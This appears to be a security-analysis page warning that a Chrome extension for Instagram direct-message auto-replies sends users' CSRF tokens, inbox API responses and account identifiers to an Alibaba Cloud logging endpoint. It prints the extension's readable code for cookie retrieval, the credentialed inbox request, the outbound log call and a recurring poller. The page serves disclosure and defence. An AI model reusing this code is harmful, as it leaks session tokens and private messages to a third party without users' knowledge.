Is APP For IG DM safe?

High risk

APP For IG DM sends Instagram CSRF tokens and inbox API responses to Alibaba Cloud logs during auto-reply monitoring.

When its auto-reply monitoring runs, APP For IG DM reads the Instagram csrftoken cookie, calls Instagram's inbox API with credentials, and logs the CSRF header plus inbox response data to Alibaba Cloud logging. The extension also applies a browser network rule that removes Instagram frame-protection headers and rewrites subframe request headers for Instagram pages.

adtargetinghellov2.1.5Chrome Web Store
72Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Instagram inbox token and response sent to Alibaba Cloud logs

When DM auto-reply monitoring starts, the extension uses Instagram's csrftoken cookie as an X-CSRFToken header for an inbox request, then logs that header and the inbox response to Alibaba Cloud SLS logstore scrm-ig-dm as event 220065.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You start Instagram DM auto-reply monitoring in the extension.

The extension did this

The extension sends the Instagram CSRF header object and inbox API response to an Alibaba Cloud logstore.

The logged event is event type 220065 and includes http_header and http_response fields.

Captured request
POSThttps://us-west-1.log.aliyuncs.com/logstores/scrm-ig-dm
Fields the shipped code places in the log event
  • Instagram CSRF token header
    X-CSRFToken: <redacted>

    This is account-specific request context used when your browser makes authenticated Instagram requests.

  • Inbox request headers
    Content-Type, X-CSRFToken, x-requested-with, x-instagram-ajax, x-asbd-id, X-IG-App-ID

    These headers describe the authenticated Instagram API request made from your signed-in browser session.

  • Inbox response JSON
    http_response.new_stories

    This is the Instagram inbox API response returned for your signed-in account during monitoring.

  • Log event type
    220065

    This ties the token header and inbox response to the extension's auto-reply monitoring log event.

The code that does this

The shipped inbox polling path builds and logs the sensitive fields

Readable version

Readable flow for cookie retrieval and inbox processing

js/content-script.js
port.onMessage.addListener(async (message) => {  const { type, data } = message || {};  if (type === MESSAGE_TYPES.MONITOR_NEW_FOLLOWER_OR_LIKE) {    port.postMessage({      type: MESSAGE_TYPES.GET_COOKIE,      data: { url: "https://www.instagram.com", name: "csrftoken" }    });  }  if (type === MESSAGE_TYPES.GET_COOKIE) {    const csrfToken = data.value;    try {      if (!isMonitoringReady()) {        await loadSettings([]);      }      const inbox = await getInboxNewsData(csrfToken);      if (!inbox) return;      await handleNewStories(inbox?.new_stories);      if (!isMonitoringReady()) {        await continueMonitoring(csrfToken);      }    } catch (error) {      console.error(error);    }  }  if (type === MESSAGE_TYPES.STOP_DM) {    console.log("%c stop dm.", "color:#ff1515;");    stopMonitoring();  }});

Readable flow for the inbox request and log event

js/content-script.js
async function getInboxNewsData(csrfToken) {  console.log("[IGDM] [getInboxNewsData] ========== 获取收件箱新消息 ==========");  const url = "https://i.instagram.com/api/v1/news/inbox/";  console.log("[IGDM] [getInboxNewsData] API URL:", url);  console.log("[IGDM] [getInboxNewsData] csrftoken:", csrfToken ? "已提供" : "未提供");  const headers = {    "Content-Type": "application/x-www-form-urlencoded",    "X-CSRFToken": csrfToken,    "x-requested-with": "XMLHttpRequest",    "x-instagram-ajax": 1,    "x-asbd-id": "437806",    "X-IG-App-ID": "936619743392459"  };  const inbox = await fetch(url, {    method: "post",    headers,    credentials: "include"  }).then(async (response) => {    const body = await response.json();    console.log("[IGDM] [getInboxNewsData] 响应数据:", body);    console.log("[IGDM] [getInboxNewsData] 新消息数量:", body?.new_stories?.length || 0);    aliLog(220065, {      http_code: response.status,      http_header: headers,      http_response: body    });    return body;  }).catch((error) => {    console.log("[IGDM] [getInboxNewsData] ❌ 请求失败:", error);    throw error;  });  return inbox;}

Readable flow for Aliyun SLS logging

js/background.js
const slsConfig = {  host: "us-west-1.log.aliyuncs.com",  project: "extension-us",  logstore: "scrm-ig-dm",  time: 2,  count: 1};const slsClient = new SlsClient(slsConfig);async function aliLog(eventType, eventData) {  await chrome.runtime.sendMessage({    code: "alilog_send",    event_type: eventType,    event_data: eventData  });}async function sendAliLog(eventType, eventData = {}) {  const uuid = await getUuid();  const installTime = await getInstallTime();  const version = await getVersion();  const userProfileId = await getUserProfileId();  const userEmail = await getUserEmail();  const browserInfo = await chrome.storage.local.get(["platform", "browserType", "language", "userAgent"]);  const log = {    event_source: 22,    event_type: eventType,    install_time: installTime,    event_time: Math.floor(Date.now() / 1000),    log_version: "v1",    uuid,    user_profile_id: userProfileId || "",    user_email: userEmail || "",    version,    platform: browserInfo.platform || "",    browser_type: browserInfo.browserType || "",    language: browserInfo.language || "",    user_agent: browserInfo.userAgent || "",    ...eventData  };  const serialized = {};  for (const key in log) {    if (Object.hasOwnProperty.call(log, key)) {      const value = log[key];      serialized[key] = ["string", "number"].includes(typeof value) ? value : JSON.stringify(value);    }  }  slsClient.send(serialized);}
The code that does this

The UI and background worker make the logging path recurring

Readable version

Readable UI start handler

js/app.js
function startMonitor() {  aliLog(220060, {    follow_auto: this.isAutoReplyFollower,    like_auto: this.isAutoReplyLike,    message_bot: {      follow: this.autoReplyFollowerTextList,      like: this.autoReplyLikeTextList    }  });  saveAutoReplySettings({    isAutoReplyFollower: this.isAutoReplyFollower,    autoReplyFollowerTextList: this.autoReplyFollowerTextList,    isAutoReplyLike: this.isAutoReplyLike,    autoReplyLikeTextList: this.autoReplyLikeTextList  });  sendMessage(MESSAGE_TYPES.START_MONITOR_NEW_FOLLOWER_OR_LIKE, {}, (ok) => {    if (ok) {      this.app.isStartMonitor = true;    }  });}

Readable polling scheduler

js/background.js
async function startPollingMonitor() {  clearTimeout(pollingTimer);  pollingTimer = setTimeout(async () => {    console.log("%c start monitor.", "color:#0f0;");    await saveQueue([]);    chrome.alarms.create(ALARM_NAMES.POLLING_MONITOR_SCHEDULE, {      periodInMinutes: CONFIG.POLLING_MONITOR_INTERVAL    });  }, 6000);}function stopPollingMonitor() {  console.log("%c stop monitor.", "color:#ff1515;");  clearTimeout(pollingTimer);  contentPort?.postMessage({ type: MESSAGE_TYPES.STOP_DM });  chrome.alarms.clear(ALARM_NAMES.POLLING_MONITOR_SCHEDULE);  setTimeout(() => {    contentPort = null;    tabId = null;  });}chrome.alarms.onAlarm.addListener((alarm) => {  if (alarm.name === ALARM_NAMES.POLLING_MONITOR_SCHEDULE) {    if (!contentPort || !tabId) return;    contentPort.postMessage({ type: MESSAGE_TYPES.MONITOR_NEW_FOLLOWER_OR_LIKE });  }  if (alarm.name === ALARM_NAMES.NEXT_DM_SCHEDULE) {    tabPort.postMessage({ type: MESSAGE_TYPES.NEXT_DM });  }});
External hosts involved in the claim
    • i.instagram.com

    Receives the authenticated inbox API request made with the csrftoken-derived X-CSRFToken header.

    • us-west-1.log.aliyuncs.com

    Alibaba Cloud SLS endpoint configured as project extension-us and logstore scrm-ig-dm; receives the serialized log event.

Where it sends data

Destinations our analysis observed APP For IG DM contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • us-west-1.log.aliyuncs.com

    APP For IG DM sends data to us-west-1.log.aliyuncs.com. 8 other extensions we have analysed send data here.

Updated 21 September 2026hccnecipbimihniebnopnmigjanmnjgh